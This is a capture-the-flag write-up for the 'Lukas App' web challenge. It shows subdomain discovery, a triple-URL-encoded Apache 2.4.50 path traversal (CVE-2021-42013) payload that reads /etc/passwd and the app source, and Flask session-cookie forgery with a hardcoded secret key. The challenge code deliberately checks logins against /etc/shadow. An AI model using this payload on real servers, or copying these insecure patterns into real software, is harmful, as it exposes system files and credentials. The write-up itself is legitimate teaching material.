Lukas App

Description

After the excellent success of the luca-app we now decided to build our own tracing apps. We still have some technical difficulties but you may still want to have a look: https://lukas-app.de. At least we managed to get the TLS certificates for all hosts!

Hint 1: Read the challenge description carefully. There already is a big hint in it.

Hint 2: There is only a tiny bit of guesswork involved, and it's not hard to find. A lot of teams already found it. Also again: Automated tooling like dirbuster or sqlmap will not help you with this challenge.

Hint 3: We at Lukas App are proud to be running our software in the cloud. We don't even need to care about server updates or weird protocol headers anymore.

Solution

The contents of https://lukas-app.de are not very interesting. It's only a static site, with a non-working captcha. The web challenges in this CTF don't involve any scanning and brute-forcing, so there's nothing else for us here.

Certificate Search

The description said "At least we managed to get the TLS certificates for all hosts!", and the hints point us in that direction, so I decided to do a crt.sh certificate search.

This indeed revealed two additional subdomains! beta.lukas-app.de is another web app. There's a login page, but not much else.

I noticed that the logo here is fetched from https://cdn.lukas-app.de/static/logo.png. But when visiting this URL, we are actually redirected to another domain: https://cdn-eu-west.lukas-app.de/static/logo.png.

Path Traversal

Looking at the response headers, I immediately noticed that we have hit the jackpot - this server, unlike the others, returned Server: Apache/2.4.50 (Unix), which was vulnerable to a recent path traversal vulnerability (CVE-2021-42013)!

Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE)Exploit Database

Using the usual payload (.%%32%65), however, gave us a 400 Bad Request. I think this was due to the server using both Nginx (which would have already performed one round of URL decoding) and Apache (which would then receive the URL-decoded path). To overcome this, I had to URL-encode the PoC payload again (a triple URL encoding by now!)

Now we get a different error (403 Forbidden) using GET /cgi-bin/.../etc/passwd.

I was stuck here for a while, until I came across some inspiration from Twitter: instead of /cgi-bin/ maybe the /static/ path, where the logo is stored, is an Alias to some directory?

I finally got a working path traversal: GET /static/%25%2532%2565%25%2532%2565%2F%25%2532%2565%25%2532%2565%2Fetc/passwd HTTP/2

I then read the Apache configuration file (at /usr/local/apache2/conf/httpd.conf), which confirmed my hypothesis. Interestingly, the /static/ URL maps to /app/static. Could this be the same directory where the web app is stored?

...

Alias "/static" "/app/static"

...

Indeed, I was able to read the source code from /app/app.py.

#!/usr/bin/env python3

from flask import Flask, session, redirect, url_for, escape, request, render_template
import werkzeug.exceptions
import crypt
import secrets

app = Flask(__name__)
app.secret_key = "secrets.token_bytes(50)"

FLAG = open("/flag.txt").read()

@app.route("/")
def index():
    if "username" not in session:
        return redirect("/login?msg=Login+required")

    if session["username"] == "root":
        return "Hello, %s!<br/>\nHave a nice flag: %s" % (session["username"], FLAG)
    else:
        return "Hello, %s!<br/>\nNo flags available for you."

@app.route("/robots.txt")
def robotstxt():
    return open("robots.txt").read()

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "GET":
        return render_template("login.tpl", msg=request.args.get("msg", ""))

    username = request.form["username"]
    password = request.form["password"]

    # use system logins during beta phase, needs to be moved to database for production use!
    users = dict(x.split(":")[:2] for x in open("/etc/shadow").readlines() if x.split(":")[1][0] != "!")
    if username not in users:
        return redirect("/login?msg=Invalid+credentials")
    if crypt.crypt(password, users[username]) != users[username]:
        return redirect("/login?msg=Invalid+credentials")

    session["username"] = username
    return redirect("/")

@app.errorhandler(werkzeug.exceptions.BadRequest)
def handle_bad_request(e):
    return "/app/app.py:app raised an exception:<br/>" + str(e), 400

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=80)

Baking Cookies

The final nail in the coffin came from the following programming error in the secret key (it's a string):

app.secret_key = "secrets.token_bytes(50)"

We simply need to change our session username to root, in order to get the flag.

@app.route("/")
def index():
    if "username" not in session:
        return redirect("/login?msg=Login+required")

    if session["username"] == "root":
        return "Hello, %s!<br/>\nHave a nice flag: %s" % (session["username"], FLAG)
    else:
        return "Hello, %s!<br/>\nNo flags available for you."

Since the server uses client-side cookies, we can simply sign the Flask cookie with our desired username.

$ flask-unsign --sign --cookie "{'username': 'root'}" --secret "secrets.token_bytes(50)"
eyJ1c2VybmFtZSI6InJvb3QifQ.YaORNg.qF6ApxeBVfgNfKnMi5j6FegPqSM

Change the session cookie and get the flag!

Hello, root!
Have a nice flag: CSR{%79%6f%75%20%63%61%6e%27%74%20%65%73%63%61%70%65%20%74%68%65%20%64%6f%75%62%6c%65%20%64%6f%74%73}